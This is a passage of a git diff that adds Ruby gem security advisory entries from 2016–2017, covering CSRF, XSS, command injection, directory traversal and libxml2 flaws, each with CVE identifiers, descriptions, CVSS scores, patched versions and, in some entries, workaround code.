- ">= 5.0.0.beta1" + patched_versions: + - "~> 3.2.22.2" + - "~> 4.2.5, >= 4.2.5.2" + - "~> 4.1.14, >= 4.1.14.2" +--- diff --git a/advisories/_posts/2016-04-01-CVE-2016-3098.md b/advisories/_posts/2016-04-01-CVE-2016-3098.md new file mode 100644 index 00000000..d812a366 --- /dev/null +++ b/advisories/_posts/2016-04-01-CVE-2016-3098.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2016-3098 (administrate): Cross-site request forgery (CSRF) vulnerability + in administrate gem' +comments: false +categories: +- administrate +advisory: + gem: administrate + cve: 2016-3098 + ghsa: cc8c-26rj-v2vx + url: http://seclists.org/oss-sec/2016/q2/0 + title: Cross-site request forgery (CSRF) vulnerability in administrate gem + date: 2016-04-01 + description: |- + "`Administrate::ApplicationController` actions didn't have CSRF protection. + Remote attackers can hijack user's sessions and use any functionality that administrate + exposes on their behalf." + cvss_v3: 5.4 + patched_versions: + - ">= 0.1.5" +--- diff --git a/advisories/_posts/2016-04-13-CVE-2016-10193.md b/advisories/_posts/2016-04-13-CVE-2016-10193.md new file mode 100644 index 00000000..edd7e356 --- /dev/null +++ b/advisories/_posts/2016-04-13-CVE-2016-10193.md @@ -0,0 +1,22 @@ +--- +layout: advisory +title: 'CVE-2016-10193 (espeak-ruby): espeak-ruby Gem for Ruby Arbitrary Command Execution' +comments: false +categories: +- espeak-ruby +advisory: + gem: espeak-ruby + cve: 2016-10193 + ghsa: 4jm3-pfpf-h54p + url: https://github.com/dejan/espeak-ruby/issues/7 + title: espeak-ruby Gem for Ruby Arbitrary Command Execution + date: 2016-04-13 + description: |- + espeak-ruby passes user modifiable strings directly to a shell + command. An attacker can execute malicious commands by modifying + the strings that are passed as arguments to the speak, save, bytes + and bytes_wav methods in the lib/espeak/speech.rb library. + cvss_v3: 9.8 + patched_versions: + - ">= 1.0.3" +--- diff --git a/advisories/_posts/2016-04-20-CVE-2016-3693.md b/advisories/_posts/2016-04-20-CVE-2016-3693.md new file mode 100644 index 00000000..aafcde57 --- /dev/null +++ b/advisories/_posts/2016-04-20-CVE-2016-3693.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2016-3693 (safemode): Safemode Gem for Ruby is vulnerable to information + disclosure' +comments: false +categories: +- safemode +advisory: + gem: safemode + cve: 2016-3693 + ghsa: c92m-rrrc-q5wf + url: http://seclists.org/oss-sec/2016/q2/119 + title: Safemode Gem for Ruby is vulnerable to information disclosure + date: 2016-04-20 + description: |- + Safemode is initialised with an optional 'delegate' object. + If the delegated object is a Rails controller, 'inspect' could + be called which then exposes all informations about the App, + including routes, secret tokens, caches and so on. + cvss_v3: 8.1 + patched_versions: + - ">= 1.2.4" +--- diff --git a/advisories/_posts/2016-04-23-CVE-2016-10194.md b/advisories/_posts/2016-04-23-CVE-2016-10194.md new file mode 100644 index 00000000..b0889398 --- /dev/null +++ b/advisories/_posts/2016-04-23-CVE-2016-10194.md @@ -0,0 +1,21 @@ +--- +layout: advisory +title: 'CVE-2016-10194 (festivaltts4r): festivaltts4r Gem for Ruby Arbitrary Command + Execution' +comments: false +categories: +- festivaltts4r +advisory: + gem: festivaltts4r + cve: 2016-10194 + ghsa: f7f4-5w9j-23p2 + url: https://github.com/spejman/festivaltts4r/issues/1 + title: festivaltts4r Gem for Ruby Arbitrary Command Execution + date: 2016-04-23 + description: |- + festivaltts4r passes user modifiable strings directly to a shell + command. An attacker can execute malicious commands by modifying + the strings that are passed as arguments to the to_speech and + and to_mp3 methods in lib/festivaltts4r/festival4r.rb library. + cvss_v3: 9.8 +--- diff --git a/advisories/_posts/2016-04-26-CVE-2016-2785.md b/advisories/_posts/2016-04-26-CVE-2016-2785.md new file mode 100644 index 00000000..7dbd760b --- /dev/null +++ b/advisories/_posts/2016-04-26-CVE-2016-2785.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2016-2785 (puppet): Puppet Improper Access Control' +comments: false +categories: +- puppet +advisory: + gem: puppet + cve: 2016-2785 + ghsa: pqj5-7r86-64fv + url: https://www.puppet.com/security/cve/cve-2016-2785-incorrect-url-decoding + title: Puppet Improper Access Control + date: 2016-04-26 + description: |- + Puppet Server before 2.3.2 and + Ruby puppetmaster in Puppet 4.x before 4.4.2 and in + Puppet Agent before 1.4.2 + might allow remote attackers to bypass intended auth.conf + access restrictions by leveraging incorrect URL decoding. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 4.4.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-2785 + - https://www.puppet.com/security/cve/cve-2016-2785-incorrect-url-decoding + - https://github.com/puppetlabs/puppet/pull/4921 + - https://github.com/puppetlabs/puppet/pull/4921/commits/8d2ce797db265720f0a20d1d46ee2757b4e4f6b2 + - https://security.gentoo.org/glsa/201606-02 + - https://github.com/advisories/GHSA-pqj5-7r86-64fv +--- diff --git a/advisories/_posts/2016-05-18-CVE-2016-4442.md b/advisories/_posts/2016-05-18-CVE-2016-4442.md new file mode 100644 index 00000000..4b3530ce --- /dev/null +++ b/advisories/_posts/2016-05-18-CVE-2016-4442.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2016-4442 (rack-mini-profiler): rack-mini-profiler may disclose information + to unauthorized users' +comments: false +categories: +- rack-mini-profiler +advisory: + gem: rack-mini-profiler + cve: 2016-4442 + ghsa: j5hj-fhc9-g24m + url: https://github.com/MiniProfiler/rack-mini-profiler/commit/4273771d65f1a7411e3ef5843329308d0e2d257c + title: rack-mini-profiler may disclose information to unauthorized users + date: 2016-05-18 + description: |- + Carefully crafted requests can expose information about strings and objects + allocated during the request for unauthorised users. + cvss_v3: 5.3 + patched_versions: + - ">= 0.10.1" + related: + url: + - http://seclists.org/oss-sec/2016/q2/516 +--- diff --git a/advisories/_posts/2016-06-07-CVE-2015-8806.md b/advisories/_posts/2016-06-07-CVE-2015-8806.md new file mode 100644 index 00000000..159efe50 --- /dev/null +++ b/advisories/_posts/2016-06-07-CVE-2015-8806.md @@ -0,0 +1,50 @@ +--- +layout: advisory +title: 'CVE-2015-8806 (nokogiri): Denial of service or RCE from libxml2 and libxslt' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2015-8806 + ghsa: 7hp2-xwpj-95jq + url: https://github.com/sparklemotion/nokogiri/issues/1473 + title: Denial of service or RCE from libxml2 and libxslt + date: 2016-06-07 + description: |- + Nokogiri is affected by series of vulnerabilities in libxml2 and libxslt, + which are libraries Nokogiri depends on. It was discovered that libxml2 and + libxslt incorrectly handled certain malformed documents, which can allow + malicious users to cause issues ranging from denial of service to remote code + execution attacks. + + For more information, the Ubuntu Security Notice is a good start: + http://www.ubuntu.com/usn/usn-2994-1/ + cvss_v3: 7.5 + unaffected_versions: + - "< 1.6.0" + patched_versions: + - ">= 1.6.8" + related: + cve: + - 2016-1762 + - 2016-1833 + - 2016-1834 + - 2016-1835 + - 2016-1836 + - 2016-1837 + - 2016-1838 + - 2016-1839 + - 2016-1840 + - 2016-2073 + - 2016-3627 + - 2016-3705 + - 2016-4447 + - 2016-4449 + - 2016-4483 + url: + - https://github.com/sparklemotion/nokogiri/issues/1473 + - https://github.com/sparklemotion/nokogiri/commit/03d402212707bd5dfa0a21b7de5e91a7f9d90028 + - https://mail.gnome.org/archives/xml/2016-May/msg00023.html + - http://www.ubuntu.com/usn/usn-2994-1/ +--- diff --git a/advisories/_posts/2016-06-16-CVE-2016-10362.md b/advisories/_posts/2016-06-16-CVE-2016-10362.md new file mode 100644 index 00000000..63c19d2a --- /dev/null +++ b/advisories/_posts/2016-06-16-CVE-2016-10362.md @@ -0,0 +1,28 @@ +--- +layout: advisory +title: 'CVE-2016-10362 (logstash-core): Logstash Logs Sensitive Information' +comments: false +categories: +- logstash-core +advisory: + gem: logstash-core + cve: 2016-10362 + ghsa: 3gg4-6hqg-2vjx + url: https://web.archive.org/web/20210730201452/http://www.securityfocus.com/bid/99154 + title: Logstash Logs Sensitive Information + date: 2016-06-16 + description: |- + Prior to Logstash version 5.0.1, Elasticsearch Output plugin when updating + connections after sniffing, would log to file HTTP basic auth credentials. + cvss_v2: 4.0 + cvss_v3: 6.5 + patched_versions: + - ">= 5.0.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-10362 + - https://web.archive.org/web/20210730201452/http://www.securityfocus.com/bid/99154 + - https://www.opencve.io/cve/CVE-2016-10362 + - https://www.elastic.co/community/security + - https://github.com/advisories/GHSA-3gg4-6hqg-2vjx +--- diff --git a/advisories/_posts/2016-06-24-CVE-2016-5697.md b/advisories/_posts/2016-06-24-CVE-2016-5697.md new file mode 100644 index 00000000..d43f3639 --- /dev/null +++ b/advisories/_posts/2016-06-24-CVE-2016-5697.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2016-5697 (ruby-saml): XML signature wrapping attack' +comments: false +categories: +- ruby-saml +advisory: + gem: ruby-saml + cve: 2016-5697 + ghsa: 36p7-xjw8-h6f2 + url: https://github.com/onelogin/ruby-saml/commit/a571f52171e6bfd87db59822d1d9e8c38fb3b995 + title: XML signature wrapping attack + date: 2016-06-24 + description: |- + ruby-saml prior to version 1.3.0 is vulnerable to an XML signature wrapping attack + in the specific scenario where there was a signature that referenced at the same time + 2 elements (but past the scheme validator process since 1 of the element was inside + the encrypted assertion). + + ruby-saml users must update to 1.3.0, which implements 3 extra validations to + mitigate this kind of attack. + cvss_v2: 5.0 + cvss_v3: 7.5 + patched_versions: + - ">= 1.3.0" +--- diff --git a/advisories/_posts/2016-07-27-CVE-2016-10735.md b/advisories/_posts/2016-07-27-CVE-2016-10735.md new file mode 100644 index 00000000..a1b85086 --- /dev/null +++ b/advisories/_posts/2016-07-27-CVE-2016-10735.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2016-10735 (bootstrap): XSS vulnerability via data-target in bootstrap' +comments: false +categories: +- bootstrap +advisory: + gem: bootstrap + cve: 2016-10735 + ghsa: 4p24-vmcr-4gqj + url: https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2/ + title: XSS vulnerability via data-target in bootstrap + date: 2016-07-27 + description: |- + In Bootstrap 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, + XSS is possible in the data-target attribute. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 4.0.0-beta.2" + related: + url: + - https://github.com/twbs/bootstrap/issues/20184 +--- diff --git a/advisories/_posts/2016-08-11-CVE-2016-6316.md b/advisories/_posts/2016-08-11-CVE-2016-6316.md new file mode 100644 index 00000000..19f15692 --- /dev/null +++ b/advisories/_posts/2016-08-11-CVE-2016-6316.md @@ -0,0 +1,61 @@ +--- +layout: advisory +title: 'CVE-2016-6316 (actionview): Possible XSS Vulnerability in Action View' +comments: false +categories: +- actionview +- rails +advisory: + gem: actionview + framework: rails + cve: 2016-6316 + ghsa: pc3m-v286-2jwj + url: https://groups.google.com/forum/#!topic/rubyonrails-security/I-VWr034ouk + title: Possible XSS Vulnerability in Action View + date: 2016-08-11 + description: |- + There is a possible XSS vulnerability in Action View. Text declared as "HTML + safe" will not have quotes escaped when used as attribute values in tag + helpers. + + Impact + ------ + + Text declared as "HTML safe" when passed as an attribute value to a tag helper + will not have quotes escaped which can lead to an XSS attack. Impacted code + looks something like this: + + ```ruby + content_tag(:div, "hi", title: user_input.html_safe) + ``` + + Some helpers like the `sanitize` helper will automatically mark strings as + "HTML safe", so impacted code could also look something like this: + + ```ruby + content_tag(:div, "hi", title: sanitize(user_input)) + ``` + + All users running an affected release should either upgrade or use one of the + workarounds immediately. + + Workarounds + ----------- + You can work around this issue by either *not* marking arbitrary user input as + safe, or by manually escaping quotes like this: + + ```ruby + def escape_quotes(value) + value.gsub(/"/, '"'.freeze) + end + + content_tag(:div, "hi", title: escape_quotes(sanitize(user_input))) + ``` + cvss_v3: 6.1 + unaffected_versions: + - "< 3.0.0" + patched_versions: + - "~> 4.2.7.1" + - "~> 4.2.8" + - ">= 5.0.0.1" +--- diff --git a/advisories/_posts/2016-08-11-CVE-2016-6317.md b/advisories/_posts/2016-08-11-CVE-2016-6317.md new file mode 100644 index 00000000..f8abea95 --- /dev/null +++ b/advisories/_posts/2016-08-11-CVE-2016-6317.md @@ -0,0 +1,79 @@ +--- +layout: advisory +title: 'CVE-2016-6317 (activerecord): Unsafe Query Generation Risk in Active Record' +comments: false +categories: +- activerecord +- rails +advisory: + gem: activerecord + framework: rails + cve: 2016-6317 + ghsa: pr3r-4wrp-r2pv + url: https://groups.google.com/forum/#!topic/rubyonrails-security/rgO20zYW33s + title: Unsafe Query Generation Risk in Active Record + date: 2016-08-11 + description: |- + There is a vulnerability when Active Record is used in conjunction with JSON + parameter parsing. This vulnerability is similar to CVE-2012-2660, + CVE-2012-2694 and CVE-2013-0155. + + Impact + ------ + + Due to the way Active Record interprets parameters in combination with the way + that JSON parameters are parsed, it is possible for an attacker to issue + unexpected database queries with "IS NULL" or empty where clauses. This issue + does *not* let an attacker insert arbitrary values into an SQL query, however + they can cause the query to check for NULL or eliminate a WHERE clause when + most users wouldn't expect it. + + For example, a system has password reset with token functionality: + + ```ruby + unless params[:token].nil? + user = User.find_by_token(params[:token]) + user.reset_password! + end + ``` + + An attacker can craft a request such that `params[:token]` will return + `[nil]`. The `[nil]` value will bypass the test for nil, but will still add + an "IN ('xyz', NULL)" clause to the SQL query. + + Similarly, an attacker can craft a request such that `params[:token]` will + return an empty hash. An empty hash will eliminate the WHERE clause of the + query, but can bypass the `nil?` check. + + Note that this impacts not only dynamic finders (`find_by_*`) but also + relations (`User.where(:name => params[:name])`). + + All users running an affected release should either upgrade or use one of the + work arounds immediately. All users running an affected release should upgrade + immediately. Please note, this vulnerability is a variant of CVE-2012-2660, + CVE-2012-2694, and CVE-2013-0155. Even if you upgraded to address those + issues, you must take action again. + + If this chance in behavior impacts your application, you can manually decode + the original values from the request like so: + + `ActiveSupport::JSON.decode(request.body)` + + Workarounds + ----------- + This problem can be mitigated by casting the parameter to a string before + passing it to Active Record. For example: + + ```ruby + unless params[:token].nil? || params[:token].to_s.empty? + user = User.find_by_token(params[:token].to_s) + user.reset_password! + end + ``` + cvss_v3: 7.5 + unaffected_versions: + - "< 4.2.0" + - ">= 5.0.0" + patched_versions: + - ">= 4.2.7.1" +--- diff --git a/advisories/_posts/2016-08-18-CVE-2016-6582.md b/advisories/_posts/2016-08-18-CVE-2016-6582.md new file mode 100644 index 00000000..ac1e15c4 --- /dev/null +++ b/advisories/_posts/2016-08-18-CVE-2016-6582.md @@ -0,0 +1,48 @@ +--- +layout: advisory +title: 'CVE-2016-6582 (doorkeeper): Doorkeeper gem does not revoke tokens & uses wrong + auth/auth method' +comments: false +categories: +- doorkeeper +advisory: + gem: doorkeeper + cve: 2016-6582 + ghsa: 3m6r-39p3-jq25 + url: http://www.openwall.com/lists/oss-security/2016/08/19/2 + title: Doorkeeper gem does not revoke tokens & uses wrong auth/auth method + date: 2016-08-18 + description: |- + Doorkeeper failed to implement OAuth 2.0 Token Revocation (RFC 7009) in the + following ways: + + 1. Public clients making valid, unauthenticated calls to revoke a token + would not have their token revoked + 2. Requests were not properly authenticating the *client credentials* but + were, instead, looking at the access token in a second location + 3. Because of 2, the requests were also not authorizing confidential + clients' ability to revoke a given token. It should only revoke tokens + that belong to it. + + The security implication is: OAuth 2.0 clients who "log out" a user expect + to have the corresponding access & refresh tokens revoked, preventing an + attacker who may have already hijacked the session from continuing to + impersonate the victim. Because of the bug described above, this is not the + case. As far as OWASP is concerned, this counts as broken authentication + design. + + MITRE has assigned CVE-2016-6582 due to the security issues raised. An + attacker, thanks to 1, can replay a hijacked session after a victim logs + out/revokes their token. Additionally, thanks to 2 & 3, an attacker via a + compromised confidential client could "grief" other clients by revoking + their tokens (albeit this is an exceptionally narrow attack with little + value). + cvss_v3: 9.1 + unaffected_versions: + - "< 1.2.0" + patched_versions: + - ">= 4.2.0" + related: + url: + - https://github.com/doorkeeper-gem/doorkeeper/commit/fb938051777a3c9cb071e96fc66458f8f615bd53 +--- diff --git a/advisories/_posts/2016-08-22-CVE-2016-10173.md b/advisories/_posts/2016-08-22-CVE-2016-10173.md new file mode 100644 index 00000000..c0ef6450 --- /dev/null +++ b/advisories/_posts/2016-08-22-CVE-2016-10173.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2016-10173 (minitar): Minitar Directory Traversal Vulnerability' +comments: false +categories: +- minitar +advisory: + gem: minitar + cve: 2016-10173 + ghsa: h5g2-38x9-4gv3 + url: https://github.com/halostatue/minitar/issues/16 + title: Minitar Directory Traversal Vulnerability + date: 2016-08-22 + description: |- + Minitar allows attackers to overwrite arbitrary files during archive + extraction via a .. (dot dot) in an extracted filename. Analogous + vulnerabilities for unzip and tar: + https://www.cvedetails.com/cve/CVE-2001-1268/ and + http://www.cvedetails.com/cve/CVE-2001-1267/ + + Credit: ecneladis + cvss_v3: 7.5 + patched_versions: + - ">= 0.6.0" + related: + url: + - https://github.com/halostatue/minitar/issues/16 + - https://github.com/halostatue/minitar/commit/e25205ecbb6277ae8a3df1e6a306d7ed4458b6e4 +--- diff --git a/advisories/_posts/2016-08-27-CVE-2016-7103.md b/advisories/_posts/2016-08-27-CVE-2016-7103.md new file mode 100644 index 00000000..d77c236b --- /dev/null +++ b/advisories/_posts/2016-08-27-CVE-2016-7103.md @@ -0,0 +1,29 @@ +--- +layout: advisory +title: 'CVE-2016-7103 (jquery-ui-rails): XSS Vulnerability on closeText option of + Dialog jQuery UI' +comments: false +categories: +- jquery-ui-rails +- rails +advisory: + gem: jquery-ui-rails + framework: rails + cve: 2016-7103 + ghsa: hpcf-8vf9-q4gj + url: https://github.com/jquery/api.jqueryui.com/issues/281 + title: XSS Vulnerability on closeText option of Dialog jQuery UI + date: 2016-08-27 + description: |- + Cross-site scripting (XSS) vulnerability in jQuery UI before 1.12.0 might + allow remote attackers to inject arbitrary web script or HTML via the + closeText parameter of the dialog function. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 6.0.0" + related: + url: + - https://github.com/jquery/jquery-ui/pull/1635 + - https://github.com/jquery-ui-rails/jquery-ui-rails/blob/master/History.md#600 +--- diff --git a/advisories/_posts/2016-10-06-CVE-2016-7954.md b/advisories/_posts/2016-10-06-CVE-2016-7954.md new file mode 100644 index 00000000..410073d8 --- /dev/null +++ b/advisories/_posts/2016-10-06-CVE-2016-7954.md @@ -0,0 +1,48 @@ +--- +layout: advisory +title: 'CVE-2016-7954 (bundler): Allows an attacker to inject arbitrary code into + your application via any secondary Gem source declared in your Gemfile' +comments: false +categories: +- bundler +advisory: + gem: bundler + cve: 2016-7954 + ghsa: jvgm-pfqv-887x + url: https://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability + title: Allows an attacker to inject arbitrary code into your application via any + secondary Gem source declared in your Gemfile + date: 2016-10-06 + description: |- + Bundler 1.x might allow remote attackers to inject arbitrary Ruby + code into an application by leveraging a Gem name collision on a + secondary source. + + Please note that this vulnerability only applies for Ruby + projects using Bundler < 2.0 with Gemfiles having 2 or more + "source" lines. + + In other words, if the user's Gemfile does not use multiple + sources, this vulnerability can be ignored. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 2.0.0" + related: + cve: + - 2013-0334 + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-7954 + - https://collectiveidea.com/blog/archives/2016/10/06/bundlers-multiple-source-security-vulnerability + - https://bundler.io/blog/2014/08/14/bundler-may-install-gems-from-a-different-source-than-expected-cve-2013-0334.html + - https://github.com/advisories/GHSA-jvgm-pfqv-887x + - https://seclists.org/oss-sec/2016/q4/25 + - https://seclists.org/oss-sec/2016/q4/18 + - https://seclists.org/oss-sec/2016/q4/20 + - https://github.com/rubygems/bundler/pull/3696 + - https://github.com/rubygems/bundler/issues/3671 + - https://github.com/rubygems/bundler/issues/5274 + - https://github.com/rubygems/bundler/issues/5051 + - https://github.com/rubygems/bundler/issues/5062 + notes: 'NOTE: This might overlap CVE-2013-0334.; GHSA is unreviewed' +--- diff --git a/advisories/_posts/2016-11-09-CVE-2016-10345.md b/advisories/_posts/2016-11-09-CVE-2016-10345.md new file mode 100644 index 00000000..f5bc97fb --- /dev/null +++ b/advisories/_posts/2016-11-09-CVE-2016-10345.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2016-10345 (passenger): Predictable tmp File Path Vulnerability in Phusion + Passenger' +comments: false +categories: +- passenger +advisory: + gem: passenger + cve: 2016-10345 + ghsa: cqxw-3p7v-p9gr + url: https://blog.phusion.nl/2017/01/10/passenger-5-1-1/ + title: Predictable tmp File Path Vulnerability in Phusion Passenger + date: 2016-11-09 + description: |- + In Phusion Passenger before 5.1.0, a known /tmp filename was used during + passenger-install-nginx-module execution, which could allow local attackers to gain + the privileges of the passenger user. + cvss_v2: 4.6 + cvss_v3: 7.8 + patched_versions: + - ">= 5.1.0" +--- diff --git a/advisories/_posts/2016-12-21-CVE-2016-10522.md b/advisories/_posts/2016-12-21-CVE-2016-10522.md new file mode 100644 index 00000000..3e75c57b --- /dev/null +++ b/advisories/_posts/2016-12-21-CVE-2016-10522.md @@ -0,0 +1,32 @@ +--- +layout: advisory +title: 'CVE-2016-10522 (rails_admin): CSRF vulnerability in rails_admin' +comments: false +categories: +- rails_admin +advisory: + gem: rails_admin + cve: 2016-10522 + ghsa: pxqr-8v54-m2hj + url: https://www.sourceclear.com/blog/Rails_admin-Vulnerability-Disclosure/ + title: CSRF vulnerability in rails_admin + date: 2016-12-21 + description: |- + The rails_admin gem is vulnerable to cross-site request forgery (CSRF) attacks. + Due to a bug, non-GET methods were not validating CSRF tokens and, as a result, + an attacker could hypothetically gain access to the application administrative + endpoints exposed by the gem. + cvss_v2: 5.5 + cvss_v3: 8.8 + unaffected_versions: + - "< 1.0.0" + patched_versions: + - ">= 1.1.1" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2016-10522 + - https://www.sourceclear.com/registry/security/cross-site-request-forgery-csrf-/ruby/sid-3173 + - https://github.com/sferik/rails_admin/commit/b13e879eb93b661204e9fb5e55f7afa4f397537a + - https://advisories.gitlab.com/pkg/gem/rails_admin/SRCCLR-SID-3173 + - https://github.com/advisories/GHSA-pxqr-8v54-m2hj +--- diff --git a/advisories/_posts/2017-01-11-CVE-2017-18076.md b/advisories/_posts/2017-01-11-CVE-2017-18076.md new file mode 100644 index 00000000..3626231d --- /dev/null +++ b/advisories/_posts/2017-01-11-CVE-2017-18076.md @@ -0,0 +1,25 @@ +--- +layout: advisory +title: 'CVE-2017-18076 (omniauth): omniauth leaks authenticity token in callback params' +comments: false +categories: +- omniauth +advisory: + gem: omniauth + cve: 2017-18076 + ghsa: 9pr6-grf4-x2fr + url: https://github.com/omniauth/omniauth/pull/867 + title: omniauth leaks authenticity token in callback params + date: 2017-01-11 + description: |- + In strategy.rb in OmniAuth before 1.3.2, the authenticity_token value + is improperly protected because POST (in addition to GET) parameters are stored + in the session and become available in the environment of the callback phase. + cvss_v2: 6.8 + cvss_v3: 7.5 + patched_versions: + - ">= 1.3.2" + related: + url: + - https://nvd.nist.gov/vuln/detail/CVE-2017-18076 +--- diff --git a/advisories/_posts/2017-02-27-CVE-2017-5946.md b/advisories/_posts/2017-02-27-CVE-2017-5946.md new file mode 100644 index 00000000..ae0eb2c3 --- /dev/null +++ b/advisories/_posts/2017-02-27-CVE-2017-5946.md @@ -0,0 +1,23 @@ +--- +layout: advisory +title: 'CVE-2017-5946 (rubyzip): Directory traversal vulnerability in rubyzip' +comments: false +categories: +- rubyzip +advisory: + gem: rubyzip + cve: 2017-5946 + ghsa: gcqq-w6gr-h9j9 + url: https://github.com/rubyzip/rubyzip/issues/315 + title: Directory traversal vulnerability in rubyzip + date: 2017-02-27 + description: |- + The Zip::File component in the rubyzip gem before 1.2.1 for Ruby has a + directory traversal vulnerability. If a site allows uploading of .zip files, + an attacker can upload a malicious file that uses "../" pathname substrings to + write arbitrary files to the filesystem. + cvss_v2: 7.5 + cvss_v3: 9.8 + patched_versions: + - ">= 1.2.1" +--- diff --git a/advisories/_posts/2017-03-11-CVE-2016-4658.md b/advisories/_posts/2017-03-11-CVE-2016-4658.md new file mode 100644 index 00000000..5bbd74ec --- /dev/null +++ b/advisories/_posts/2017-03-11-CVE-2016-4658.md @@ -0,0 +1,40 @@ +--- +layout: advisory +title: 'CVE-2016-4658 (nokogiri): Nokogiri gem contains several vulnerabilities in + libxml2 and libxslt' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2016-4658 + ghsa: fr52-4hqw-p27f + url: https://github.com/sparklemotion/nokogiri/issues/1615 + title: Nokogiri gem contains several vulnerabilities in libxml2 and libxslt + date: 2017-03-11 + description: |- + Nokogiri version 1.7.1 has been released, pulling in several upstream + patches to the vendored libxml2 to address the following CVEs: + + CVE-2016-4658 + CVSS v3 Base Score: 9.8 (Critical) + libxml2 in Apple iOS before 10, OS X before 10.12, tvOS before 10, and + watchOS before 3 allows remote attackers to execute arbitrary code or cause + a denial of service (memory corruption) via a crafted XML document. + + CVE-2016-5131 + CVSS v3 Base Score: 8.8 (HIGH) + Use-after-free vulnerability in libxml2 through 2.9.4, as used in Google + Chrome before 52.0.2743.82, allows remote attackers to cause a denial of + service or possibly have unspecified other impact via vectors related to + the XPointer range-to function. + cvss_v2: 10.0 + cvss_v3: 9.8 + patched_versions: + - ">= 1.7.1" + related: + cve: + - 2016-5131 + url: + - https://github.com/sparklemotion/nokogiri/issues/1615 +--- diff --git a/advisories/_posts/2017-04-05-CVE-2017-7540.md b/advisories/_posts/2017-04-05-CVE-2017-7540.md new file mode 100644 index 00000000..bc21d405 --- /dev/null +++ b/advisories/_posts/2017-04-05-CVE-2017-7540.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2017-7540 (safemode): Safemode Gem for Ruby is vulnerable to bypassing + safe mode limitations' +comments: false +categories: +- safemode +advisory: + gem: safemode + cve: 2017-7540 + ghsa: 5vx5-9q73-wgp4 + url: https://nvd.nist.gov/vuln/detail/CVE-2017-7540 + title: Safemode Gem for Ruby is vulnerable to bypassing safe mode limitations + date: 2017-04-05 + description: |- + Safemode, as used in Foreman, versions 1.3.2 and earlier are vulnerable + to bypassing safe mode limitations via special Ruby syntax. This can + lead to deletion of objects for which the user does not have delete + permissions or possibly to privilege escalation. + cvss_v3: 9.8 + patched_versions: + - ">= 1.3.3" + related: + url: + - https://github.com/svenfuchs/safemode/pull/23 +--- diff --git a/advisories/_posts/2017-05-01-CVE-2017-8418.md b/advisories/_posts/2017-05-01-CVE-2017-8418.md new file mode 100644 index 00000000..5f66e475 --- /dev/null +++ b/advisories/_posts/2017-05-01-CVE-2017-8418.md @@ -0,0 +1,24 @@ +--- +layout: advisory +title: 'CVE-2017-8418 (rubocop): RuboCop gem Insecure use of /tmp' +comments: false +categories: +- rubocop +advisory: + gem: rubocop + cve: 2017-8418 + ghsa: wmjf-jpjj-9f3j + url: https://github.com/bbatsov/rubocop/issues/4336 + title: RuboCop gem Insecure use of /tmp + date: 2017-05-01 + description: |- + RuboCop 0.48.1 and earlier does not use /tmp in safe way, allowing local + users to exploit this to tamper with cache files belonging to other users. + cvss_v2: 2.1 + cvss_v3: 3.3 + patched_versions: + - ">= 0.49.0" + related: + url: + - http://www.openwall.com/lists/oss-security/2017/05/01/14 +--- diff --git a/advisories/_posts/2017-05-08-CVE-2017-1002201.md b/advisories/_posts/2017-05-08-CVE-2017-1002201.md new file mode 100644 index 00000000..bf1f588b --- /dev/null +++ b/advisories/_posts/2017-05-08-CVE-2017-1002201.md @@ -0,0 +1,26 @@ +--- +layout: advisory +title: 'CVE-2017-1002201 (haml): haml failure to escape single quotes' +comments: false +categories: +- haml +advisory: + gem: haml + cve: 2017-1002201 + ghsa: r53w-g4xm-3gc6 + url: https://github.com/haml/haml/commit/18576ae6e9bdcb4303fdbe6b3199869d289d67c2 + title: haml failure to escape single quotes + date: 2017-05-08 + description: |- + In haml versions prior to version 5.0.0.beta.2, when using user input to + perform tasks on the server, characters like < > " ' must be escaped properly. + In this case, the ' character was missed. An attacker can manipulate the input + to introduce additional attributes, potentially executing code. + cvss_v2: 4.3 + cvss_v3: 6.1 + patched_versions: + - ">= 5.0.0.beta.2" + related: + url: + - https://snyk.io/vuln/SNYK-RUBY-HAML-20362 +--- diff --git a/advisories/_posts/2017-05-09-CVE-2017-5029.md b/advisories/_posts/2017-05-09-CVE-2017-5029.md new file mode 100644 index 00000000..c1ed738f --- /dev/null +++ b/advisories/_posts/2017-05-09-CVE-2017-5029.md @@ -0,0 +1,53 @@ +--- +layout: advisory +title: 'CVE-2017-5029 (nokogiri): Nokogiri gem contains two upstream vulnerabilities + in libxslt 1.1.29' +comments: false +categories: +- nokogiri +advisory: + gem: nokogiri + cve: 2017-5029 + ghsa: pf6m-fxpq-fg8v + url: https://github.com/sparklemotion/nokogiri/issues/1634 + title: Nokogiri gem contains two upstream vulnerabilities in libxslt 1.1.29 + date: 2017-05-09 + description: |- + nokogiri version 1.7.2 has been released. + + This is a security update based on 1.7.1, addressing two upstream + libxslt 1.1.29 vulnerabilities classified as "Medium" by Canonical + and given a CVSS3 score of "6.5 Medium" and "8.8 High" by RedHat. + + These patches only apply when using Nokogiri's vendored libxslt + package. If you're using your distro's system libraries, there's no + need to upgrade from 1.7.0.1 or 1.7.1 at this time. + + Full details are available at the github issue linked to in the + changelog below. + + ----- + + # 1.7.2 / 2017-05-09 + + ## Security Notes + + [MRI] Upstream libxslt patches are applied to the vendored libxslt + 1.1.29 which address CVE-2017-5029 and CVE-2016-4738. + + For more information: + + * 